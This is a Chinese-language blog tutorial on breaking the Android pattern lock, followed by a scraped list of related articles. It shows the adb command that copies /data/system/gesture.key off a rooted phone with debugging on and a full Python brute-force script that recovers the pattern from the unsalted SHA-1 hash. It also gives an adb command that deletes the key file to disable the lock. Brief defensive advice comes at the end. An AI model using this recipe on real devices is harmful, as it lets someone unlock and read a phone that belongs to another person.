破解android手机图形锁
安卓手机的图形锁包括3*3,4*4,5*5的点阵,按次序连接数个点从而达到锁定/解锁的功能。以3*3为例,最少需要连接4个点,最多能连接9个点。在我们进行绘制图形的过程中,每选中这9个点中的一个点,实际上就代表选中了一位数字。当我们连接完4个点时,产生的图形也会间接生成一组密码。比如我们选中02、04、05、08这四个点位,那么组成的密码即为02040508。当然,为了安全,生成的密码是不可能直接被存储的,于是安卓系统将02040508转换为16进制并以sha1加密,并存储在手机里的/data/system/gesture.key 文件中。我们要做的就是破解这个文件中保存的密钥,通过破解出的密钥可以得到绘制图形的点位,从而进入手机系统。
破解有两个前提条件:
(1)手机需要root;
(2)需要开启调试模式。
满足了以上两个条件,我们便可以开始对安卓手机的图形密码进行破解。
首先利用adb进入手机的shell模式。然后adb pull data/system/gesture.key gesture.key。将密钥存放的文件拷贝到电脑。利用C32Asm打开gesture.key文件,会发现其文件内容为sha1加密。如图1所示:

图1
因为该密钥是基于点位组成的密码,将sha1密钥解密后的密码应该是大于4位小于9位的。密码数量大概在3024~985824之间。既然密码的数量已经知道,我们便可以对该密码进行穷举破解。
利用python编写穷举破解程序:
主要编程思路如下:首先对00-09这些数字进行排列组合,需要用到Python中的itertools模块,来完成迭代循环操作。组合出来的数字序列在用hashlib模块对字符串进行SHA1加密,然后对gesture.key文件中的密钥进行碰撞,知道找到相同的一组数字序列。
代码:
#coding:utf-8
import itertools
import hashlib
import time
import os
#调用cmd,ADB连接到手机,读取SHA1加密后的字符串
#os.system(r"adb pull /data/system/gesture.key gesture.key")
time.sleep(5)
f=open('gesture.key','r')
pswd=f.readline()
f.close()
pswd_hex=pswd.encode('hex')
print u'加密后的密码为:%s'%pswd_hex
#生成解锁序列,得到['00','01','02','03','04','05','06','07','08']
matrix=[]
for i in range(0,9):
str_temp = ''+str(i)
matrix.append(str_temp)
#将00——08的字符进行排列,至少取4个数排列,最多全部进行排列
min_num=4
max_num=len(matrix)
list_m=[]
for num in range(min_num,max_num+1):#从04 -> 08
iter1 = itertools.permutations(matrix,num)#从9个数字中挑出n个进行排列
list_m.append(list(iter1))#将生成的排列全部存放到 list_m 列表中 for i in list_m:
for el in i:#遍历这n个数字的全部排列
strlist=''.join(el)#将list转换成str。[00,03,06,07,08]-->0003060708
#print strlist
strlist_sha1 = hashlib.sha1(strlist.decode('hex')).hexdigest()#将字符串进行SHA1加密
if pswd_hex==strlist_sha1:#将手机文件里的字符串与加密字符串进行对比
print u'解锁密码为:',strlist
当脚本运行完成后,便会输出图形序列的密码,按照0001020406的排列顺序,绘制相应的图形便可进入手机。

通过这种方式获取手机权限的限制还是比较多的,首先手机必须是已经root的最高权限,并且开启了开发者调试模式。
防止以上攻击方法的防御措施就是关闭开发者调试模式,手机被盗后可以禁止其他人对手机ADB调试破解密码。另外也要防止木马被植入手机,因为通过木马也可以导出手机中的gesture.key密钥管理文件。
另外,从破解目的来说,如果单单是忘记了自己的手机图形锁密码,完全可以用更简单的办法:ADB连接手机,然后“adb rm /data/system/gesture.key”删除掉gesture.key文件,此时图形锁就失效了,随意画一下就能解锁。
参考文章:http://www.jb51.net/softjc/295236.html
破解android手机图形锁的更多相关文章
- 【Android】Android 手机忘记锁屏密码的解决办法
对于忘记Android锁屏密码的筒子们,除重新刷包或者wipe data外,还可用adb来删除密码: 方法很简单 1.手机连接电脑,不要打开数据连接,在充电模式下进行. 2.在电脑上,解压adb.zi ...
- 基于Python的安卓图形锁破解程序
安卓手机的图形锁是3x3的点阵,按次序连接数个点从而达到锁定/解锁的功能.最少需要连接4个点,最多能连接9个点.网上也有暴力删除手机图形锁的方法,即直接干掉图形锁功能.但假如你想进入别人的手机,但又不 ...
- [android] 手机卫士设备管理权限锁屏
设备管理员 Device Admin 获取DevicePolicyManager对象,通过getSystemService(DEVICE_POLICY_MANAGER),设备策略管理器 调用Devic ...
- Android手机与计算机间的”信任关系”
在iDevices(如iPhone.iPad等等)的取证方面,那个代表”信任关系”的plist无疑是最为关键的迹证,只要有了它,哪怕是最新机型的iDevice及最新版的iOS,且有着指纹保护或pass ...
- Android端恶意锁屏勒索应用分析
一.前言 5月12日,一场全球性互联网灾难悄然而至,一款名为WannaCRY的PC端恶意勒索软件利用NSA泄漏的危险漏洞“永恒之蓝”,给100多个国家和地区10万台电脑造成了巨大的损失.到2017年为 ...
- Android 手机卫士--导航界面1的布局编写
本文地址:http://www.cnblogs.com/wuyudong/p/5943005.html,转载请注明出处. 本文实现导航界面1的布局的实现,效果如下图所示: 首先分析所使用的布局样式: ...
- Android手机录制视频 实时传输(转载)
最近调研android视频录制.另一部手机实时观看,大致有以下几种思路. 1. android手机充当服务器,使用NanoHTTPD充当服务器,另一部手机或者pc通过输入http://手机的ip:80 ...
- Android手机如何通过USB共享网络给Mac?
最近网络挂了,mac不能上网查资料,心情非常毛躁,急切寻求用mac蹭WiFi的方法. 没有找到电脑端破解WiFi密码的软件,手头的Android手机没有root,也无法查看WiFi密码--->破 ...
- [转]设置Android手机以使用ARM Streamline进行性能分析(一)
本博客第一次转载的文章,原文访问不到了,这篇是从google cache里挖出来的,为有需要的同学准备.原文地址 Posted by Fang Bao,(鲍方) 4 Comments 11 J ...
随机推荐
- paip.sqlite 管理最好的工具 SQLite Expert 最佳实践总结
paip.sqlite 管理最好的工具 SQLite Expert 最佳实践总结 一般的管理工具斗可以...就是要是sqlite没正常地关闭哈,有shm跟wal文件..例如ff的place.sqlit ...
- css3多列显示
columen-width:定义单列显示的宽度.初始值是auto,适用于不可替代的块级元素,行内块元素和单元格,表格元素除外. 目前Webkit引擎支持-webkit-column-width,Moz ...
- C#:通过Visual Studio项目预生成命令获取SVN版本号
之前有一个winfrom项目,想要通过获取SVN版本号作为程序的内部编译版本号.网上也有各种方法,但没有一篇行得通的方法.于是我经过一系列研究,得出了一些经验,特总结成一篇博客. 方法一:通过SVN命 ...
- Java null String
In Java, the String will have different usage. Example: public class Test { public static void main( ...
- ucos操作系统的内核有哪些调度方法
1)时间片轮番调度法 假设系统中有5个任务,T1,T2,T3,T4,T5,这个时候,操作系统为每一个任务分配时间,比如说我们为T1任务分配10毫秒,为T2任务分配20毫秒,为T3任务分配5毫秒,为T4 ...
- Android WebView Memory Leak WebView内存泄漏
在这次开发过程中,需要用到webview展示一些界面,但是加载的页面如果有很多图片就会发现内存占用暴涨,并且在退出该界面后,即使在包含该webview的Activity的destroy()方法中,使用 ...
- Log4cpp介绍及使用
Log4cpp是一个开源的C++类库,它提供了在C++程序中使用日志和跟踪调试的功能.使用log4cpp,可以很便利地将日志或者跟踪调试信息写入字符流.内存字符串队列.文件.回滚文件.调试器.Wind ...
- Android Studio导入github下载的工程
现在从github上面现在的项目大部分都是Android Studio工程,那么问题来了,从github上面down一个工程下来,怎么导入android studio呢? 对刚从eclipse转And ...
- [转]Java Spring的Ioc控制反转Java反射原理
转自:http://www.kokojia.com/article/12598.html 学习一个东西的时候,如果想弄明白,最好想想框架内部是如何实现的,如果是我做我会怎么实现.下面我就写一个Ioc ...
- Hadoop - Mac OSX下配置和启动hadoop以及常见错误解决
0. 安装JDK 参考网上教程在OSX下安装jdk 1. 下载及安装hadoop a) 下载地址: http://hadoop.apache.org b) 配置ssh环境 在terminal里面输入: ...